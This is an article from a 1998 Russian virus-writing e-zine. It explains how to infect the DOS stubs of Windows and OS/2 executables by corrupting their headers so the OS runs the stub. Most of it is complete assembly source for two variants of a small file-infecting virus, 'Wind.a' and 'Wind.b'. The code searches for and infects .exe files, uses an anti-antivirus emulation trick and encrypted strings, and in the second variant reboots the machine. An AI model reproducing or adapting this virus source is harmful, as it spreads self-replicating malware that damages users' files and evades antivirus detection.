[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 7, Sep 1998 file 00A
Multi Virus
by FRiZER
┌─[BeginNFO]─────────────────────────────────────────────────────────────────┐
■ Name : Wind.a │
■ Made by : FRiZER │
■ Made at : 16.07.98 │
■ Size : 368 bytes │
■ Target : NewEXE (NE,LE,LX,PE) │
■ AntiAV : StopEmul trick │
└─[EndNFO]───────────────────────────────────────────────────────────────────┘
DOS умер. Да здравствует DOS.
Идет "прогресс". Скоро юзеров, работающих (хоть иногда) под DOS,
не останется. Кто под MustDie'ем работает, кто-то под OS/2, ...
Соответственно и программ, работающих под DOS, становится все
меньше и меньше. И где же нормальному DOS-вирусу найти себе
жертву. Это становится сродни археологическим раскопкам.
Но есть еще ниша для жизни - STUBы от NewEXE файлов (NE,LE,LX,PE),
в которые можно преспокойно поселиться. Но есть один минус у этого
способо - STUB будет выполняться только под DOS, а возможность
этого становится все меньше и меньше.
Что делать?
Как сделать так, чтобы STUB запускался в любом случае?
Для этого нужно знать, как Маздай и Ко. распознают "свои" файлы.
Дык элементарно. В заголовке смотрится слово по адресу 18h, и если
оно больше или равно 40h, то это NewEXE, и в [3Ch] лежит смещение
начала заголовка NewEXE. И если первые 2 байта там NE,LE,LX,PE),
то это точно NewEXE => ОС запускает его а не STUB.
Отсюда ответ на вопрос Чернышевского - похерить либо слово по
смещению 18h (чтобы было <40h) либо сигнатуру NewEXE 'NE,PE,...'.
ОС думает что это обычный DOS файл - и запускает его.
Как же будет запускаться NewEXE? А никак - пока в STUBe сидим мы.
Приходится вылечивать этот файл, что вообщем то по барабану - ведь
несколько файлов уже заражено.
Правда есть большой минус такого способа заражения:
При запуске из под GUI вылетит окошко, в котором будет написано,
что 'This program...чего-то хочет' и так и будет висеть.
Естественно, что это не возбудит подозрения только у самого тупого
юзера (будет думать, что это глюки винды, тем более в следующий
раз программа запустится как обычно).
Но теоретически можно сделать так, чтобы это окошко прибивалось.
Не знаю как это сделать, но у меня иногда DN, запущенный из под
винды, вылетал молча, без окошек и сообщений о ошибках.
=== Cut === WIND.CRK
Исправление IP
WIND.EXE
00000014: 00 20
00000015: 01 00
=== Cut ===
=== Cut === WIND.ASM
.model tiny
.386
MaxInfect equ 3
.code
.startup
org 0
s:
Sign db 'MZ'
PartPag dw e-s
PageCnt dw (e-s+511)/512
ReloCnt dw 0
HdrSize dw (h-s+15)/16
MinMem dw (402h+15)/16
MaxMem dw 0FFFFh
ReloSS dw 0
ExeSP dw 0
ChkSum dw 0 ; infected files count
ExeIP dw h-s
ReloCS dw 0
TablOff dw 0
Overlay dw 0
db 'Wind'
h:
mov ah,2 ;\
mov dl,0 ; stop AV emul (like AVP or Dr.Web)
int 21h ;/
push cs
pop ds
call crypt_m ; decrypt '*.exe',0
; [si] = '*.exe',0
mov byte ptr ChkSum,ch ; infected files count
lea dx,e
mov ah,9 ; print msg 'This prog...'
int 21h
mov ah,4Eh ; find first
push si
pop dx ; [dx] = '*.exe',0
mov cl,20h ; cl = file attribute mask
int 21h
push es ; save es
call crypt_m ; crypt '*.exe',0
find_next:
mov ah,4Fh ; find next
mov dx,80h ; [dx] = DTA
pop ds ; [ds:0] = PSP
push ds
int 21h ; find first/next
jc rest
mov dx,9Eh ; [DTA+1Eh] = 'filename.exe',0
mov ax,3d02h ; open file for r/w
int 21h
jc find_next
xchg ax,bx ; bx = handle
push cs cs
pop ds es ; ds need for read/write from/to file
mov ah,3Fh ; read from file
lea dx,e ; to buffer after virus body
mov cx,402h ; 402h bytes
int 21h
mov si,dx ; [si] = file header
cmp [si+1Ch],word ptr 'iW'
jne CheckNewEXE
cmp [si+1Eh],word ptr 'dn'
je close_file
CheckNewEXE:
cmp [si+18h],byte ptr 40h ; if [si+18h] >= 40h => NewEXE file
jb close_file ; not NewEXE
cld
mov si,[si+3Ch] ; [si] = NewEXE sign (NE,LE,LX,PE,...)
lea si,[si+e-s]
lodsw ; ax = NewEXE sign
lea di,signs ; [di] = list of signs
mov cx,4 ; count of known signs
repnz scasw ; try to find word from [si] in list
jnz close_file ; if not found
mov al,2
call lseek ; lseek to end
mov ah,40h ; write to file
lea dx,e ; to buffer after virus body
mov cx,402h ; 402h bytes
int 21h
mov al,0
call lseek ; lseek to begin
mov cl,h-s ; size of MZ-header
mov ah,40h ; write MZ-header
int 21h
add ChkSum,101h ; increment in current session
; & total infected files count
mov ah,40h ; write virus body (w/MZ-header)
mov cx,e-s
int 21h
; lea di,e ; [di] = file header
mov al,'T'
mov ch,3
scas_str:
repnz scasb ; find 'T' (1st char in 'This ...$')
cmp [di],word ptr 'ih' ; is next word = 'ih' -------^^ ?
jnz scas_str ; no - find again
dec di ; [di] = 'This ...$'
push di ; save di
mov ax,4000h+'$' ; ah=40h (write to file) & al='$'
repnz scasb ; find '$' (last char in 'This ...$')
xchg di,cx ; [cx-1] = '$'
pop di ; [di] = 'This...$'
mov dx,di ; [dx] = 'This...$'
sub cx,dx ; cx = lenght of 'This... $'
int 21h ; write 'This ...$' after virus body
close_file:
mov ah,3Eh ; close file
int 21h
cmp byte ptr ChkSum,MaxInfect ; no more than limit
jbe find_next ; Infect count > limit => exit
rest: ; restore host to normal run
pop es ; restore es
push es
pop ds ; [ds:0] = PSP
xor si,si
mov ds,[si+2Ch] ; ds = Environment Segment
search00:
lodsb
cmp al,0 ; find byte 0
jnz search00 ; if not - next byte
cmp [si],al ; is next byte also 0 ?
jnz search00 ; if not - search again
lea dx,[si+3] ; [dx] = 'hostname.exe',0
mov ax,3d02h ; open for r/w
int 21h
jc exi
push cs
pop ds ; ds need for read/write from/to file
xchg ax,bx ; bx = handle
call lseek_b ; lseek to old host's begin
mov ah,3Fh ; read old host's begin
lea dx,e ; to buf after virus body
mov cx,402h ; 402h bytes
push cx dx ; save cx & dx
int 21h
mov al,0 ; lseek to begin
call lseek
pop dx cx ; restore cx & dx
mov ah,40h ; write old host's begin
int 21h
call lseek_b ; lseek to old host's begin
; also normal end of file
xor cx,cx
mov ah,40h ; trancute file
int 21h
mov ah,3Eh ; close file
int 21h
exi:
mov ax,4C01h ; exit
int 21h
lseek proc
mov ah,42h ; lseek to func(al)
cwd ; dx = 0
xor cx,cx ; cx = 0
int 21h
ret
lseek endp
lseek_b proc
mov al,2
call lseek ; lseek to end => cx = 0
sub ax,402h
sbb dx,cx ; dx:ax = (offset end)-402h
xchg ax,dx ; dx = low_part, ax = high_part
xchg ax,cx ; cx = high_part, ax = 0
; cx:dx = (offset end)-402h
mov ah,42h
int 21h
ret
lseek_b endp
crypt_m proc
lea si,msk
xor [si],si ;
xor [si+2],si ; decrypt/encrypt mask
xor [si+4],si ;
ret
crypt_m endp
vname db '[ Wind by FRiZER ]'
msk db 'H/',7,'y',7,1 ; '*.exe',0
signs db 'NELELXPE'
e:
db 'This program requires MustDie.',13,10,'$'
end
=== Cut ===
┌─[BeginNFO]─────────────────────────────────────────────────────────────────┐
■ Name : Wind.b │
■ Made by : FRiZER │
■ Made at : 26.07.98 │
■ Size : 368 bytes │
■ Target : NewEXE (NE,LE,LX,PE) │
■ AntiAV : StopEmul trick │
└─[EndNFO]───────────────────────────────────────────────────────────────────┘
=== Cut === WIND.CRK
Исправление IP
WIND.EXE
00000014: 00 20
00000015: 01 00
=== Cut ===
=== Cut === WIND.ASM
.model tiny
.386
MaxInfect equ 3
.code
.startup
org 0
s:
Sign db 'MZ'
PartPag dw e-s
PageCnt dw (e-s+511)/512
ReloCnt dw 0
HdrSize dw (h-s+15)/16
MinMem dw (402h+15)/16
MaxMem dw 0FFFFh
ReloSS dw 0
ExeSP dw 0
ChkSum dw 0 ; infected files count
ExeIP dw h-s
ReloCS dw 0
TablOff dw 0909h
Overlay dw 0
db 'Wind'
h:
mov ah,2 ;\
mov dl,0 ; stop AV emul (like AVP or Dr.Web)
int 21h ;/
push cs
pop ds
mov byte ptr ChkSum,al ; infected files count
call crypt_m ; decrypt '*.exe',0
; [si] = '*.exe',0
; lea dx,e+1
; mov ah,9 ; print msg 'This prog...'
; int 21h
mov ah,4Eh ; find first
push si
pop dx ; [dx] = '*.exe',0
mov cl,20h ; cl = file attribute mask
int 21h
push es ; save es
call crypt_m ; crypt '*.exe',0
find_next:
mov ah,4Fh ; find next
mov dx,80h ; [dx] = DTA
pop ds ; [ds:0] = PSP
push ds
int 21h ; find first/next
jc rest
mov dx,9Eh ; [DTA+1Eh] = 'filename.exe',0
mov ax,3d02h ; open file for r/w
int 21h
jc find_next
xchg ax,bx ; bx = handle
push cs cs
pop ds es ; ds need for read/write from/to file
mov ah,3Fh ; read from file
lea dx,e ; to buffer after virus body
mov cx,402h ; 402h bytes
int 21h
mov si,dx ; [si] = file header
cmp [si+1Ch],word ptr 'iW'
jne CheckNewEXE
cmp [si+1Eh],word ptr 'dn'
je close_file
CheckNewEXE:
cmp [si+18h],byte ptr 40h ; if [si+18h] >= 40h => NewEXE file
jb close_file ; not NewEXE
cld
mov si,[si+3Ch] ; [si] = NewEXE sign (NE,LE,LX,PE,...)
lea si,[si+e-s]
lodsw ; ax = NewEXE sign
lea di,signs ; [di] = list of signs
mov cx,4 ; count of known signs
repnz scasw ; try to find word from [si] in list
jnz close_file ; if not found
mov al,2
call lseek ; lseek to end
mov ah,40h ; write to file
lea dx,e ; to buffer after virus body
mov cx,402h ; 402h bytes
int 21h
mov al,0
call lseek ; lseek to begin
mov cl,h-s ; size of MZ-header
mov ah,40h ; write MZ-header
int 21h
add ChkSum,101h ; increment in current session
; & total infected files count
mov ah,40h ; write virus body (w/MZ-header)
mov cx,e-s
int 21h
; lea di,e ; [di] = file header
mov al,'T'
mov ch,3
scas_str:
repnz scasb ; find 'T' (1st char in 'This ...$')
cmp [di],word ptr 'ih' ; is next word = 'ih' -------^^ ?
jnz scas_str ; no - find again
dec di ; [di] = 'This ...$'
push di ; save di
mov ax,4000h+'$' ; ah=40h (write to file) & al='$'
repnz scasb ; find '$' (last char in 'This ...$')
xchg di,cx ; [cx-1] = '$'
pop di ; [di] = 'This...$'
mov dx,di ; [dx] = 'This...$'
sub cx,dx ; cx = lenght of 'This... $'
int 21h ; write 'This ...$' after virus body
close_file:
mov ah,3Eh ; close file
int 21h
cmp byte ptr ChkSum,MaxInfect ; no more than limit
jbe find_next ; Infect count > limit => exit
rest: ; restore host to normal run
pop es ; restore es
push es
pop ds ; [ds:0] = PSP
xor si,si
mov ds,[si+2Ch] ; ds = Environment Segment
search00:
lodsb
cmp al,0 ; find byte 0
jnz search00 ; if not - next byte
cmp [si],al ; is next byte also 0 ?
jnz search00 ; if not - search again
lea dx,[si+3] ; [dx] = 'hostname.exe',0
mov ax,3d02h ; open for r/w
int 21h
jc exi
push cs
pop ds ; ds need for read/write from/to file
xchg ax,bx ; bx = handle
call lseek_b ; lseek to old host's begin
mov ah,3Fh ; read old host's begin
lea dx,e ; to buf after virus body
mov cx,402h ; 402h bytes
push cx dx ; save cx & dx
int 21h
mov al,0 ; lseek to begin
call lseek
pop dx cx ; restore cx & dx
mov ah,40h ; write old host's begin
int 21h
call lseek_b ; lseek to old host's begin
; also normal end of file
xor cx,cx
mov ah,40h ; trancute file
int 21h
mov ah,3Eh ; close file
int 21h
exi:
mov ax,4C01h ; exit
int 19h
; int 21h
lseek proc
mov ah,42h ; lseek to func(al)
cwd ; dx = 0
xor cx,cx ; cx = 0
int 21h
ret
lseek endp
lseek_b proc
mov al,2
call lseek ; lseek to end => cx = 0
sub ax,402h
sbb dx,cx ; dx:ax = (offset end)-402h
xchg ax,dx ; dx = low_part, ax = high_part
xchg ax,cx ; cx = high_part, ax = 0
; cx:dx = (offset end)-402h
mov ah,42h
int 21h
ret
lseek_b endp
crypt_m proc
lea si,signs
mov cx,(signs-msk+1)/2
cr:
dec si
dec si
not word ptr [si]
loop cr
ret
crypt_m endp
db '>';'*.exe',0
msk db 0D5h,0D1h,09Ah,087h,09Ah,0FFh
db '>'; '[ Wind by FRiZER ]',0
vname db 0A4h,0DFh,0A8h,096h,091h,09Bh,0DFh,09Dh,086h
db 0DFh,0B9h,0ADh,096h,0A5h,0BAh,0ADh,0DFh,0A2h
db 0FFh
signs db 'NELELXPE'
db 10,13,10,13
e:
db 'This program requires MustDie.',13,10,'$'
end
=== Cut ===